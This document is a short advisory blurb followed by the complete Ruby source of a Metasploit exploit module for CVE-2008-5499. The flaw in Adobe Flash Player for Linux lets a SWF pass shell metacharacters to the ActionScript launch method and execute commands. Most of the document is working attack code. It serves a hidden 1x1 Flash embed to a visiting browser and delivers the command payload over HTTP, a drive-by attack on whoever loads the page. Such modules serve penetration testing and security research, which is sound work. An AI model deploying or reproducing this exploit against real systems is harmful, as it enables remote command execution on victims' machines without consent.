This Metasploit module exploits a vulnerability in Adobe Flash Player for Linux, version 10.0.12.36 and 9.0.151.0 and prior. An input validation vulnerability allows command execution when the browser loads a SWF file which contains shell metacharacters in the arguments to the ActionScript launch method. The victim must have Adobe AIR installed for the exploit to work. This Metasploit module was tested against version 10.0.12.36 (10r12_36).
93d7262043fea9cda6bcae5df8301841074b655ead8497ddc9cbc8fb6a8f410c##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe Flash Player ActionScript Launch Command Execution Vulnerability',
'Description' => %q{
This module exploits a vulnerability in Adobe Flash Player for Linux,
version 10.0.12.36 and 9.0.151.0 and prior.
An input validation vulnerability allows command execution when the browser
loads a SWF file which contains shell metacharacters in the arguments to
the ActionScript launch method.
The victim must have Adobe AIR installed for the exploit to work. This module
was tested against version 10.0.12.36 (10r12_36).
},
'License' => MSF_LICENSE,
'Author' =>
[
'0a29406d9794e4f9b30b3c5d6702c708', # Metasploit version
],
'References' =>
[
['CVE', '2008-5499'],
['OSVDB', '50796'],
['URL', 'http://www.adobe.com/support/security/bulletins/apsb08-24.html'],
['URL', 'http://www.securityfocus.com/bid/32896/exploit']
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip',
'HTTP::chunked' => true
},
'Platform' => 'unix', # so unix cmd exec payloads are ok
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', {}],
],
'DisclosureDate' => 'Dec 17 2008',
'DefaultTarget' => 0))
end
def exploit
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2008-5499.swf" )
fd = File.open( path, "rb" )
@swf = fd.read(fd.stat.size)
fd.close
super
end
def on_request_uri(cli, request)
msg = "#{cli.peerhost.ljust(16)} #{self.shortname}"
trigger = @swf
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
obj_id = rand_text_alpha(rand(6)+3)
if request.uri.match(/\.swf/i)
print_status("#{msg} Sending Exploit SWF")
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
return
end
if request.uri.match(/\.txt/i)
send_response(cli, payload.encoded, { 'Content-Type' => 'text/plain' })
return
end
html = <<-EOS
<html>
<head>
</head>
<body>
<center>
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" id="#{obj_id}" width="1" height="1" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
<param name="movie" value="#{get_resource}#{trigger_file}" />
<embed src="#{get_resource}#{trigger_file}" quality="high" width="1" height="1" name="#{obj_id}" align="middle" allowNetworking="all"
type="application/x-shockwave-flash"
pluginspage="http://www.macromedia.com/go/getflashplayer">
</embed>
</object>
</center>
</body>
</html>
EOS
print_status("#{msg} Sending HTML...")
send_response(cli, html, { 'Content-Type' => 'text/html' })
end
end
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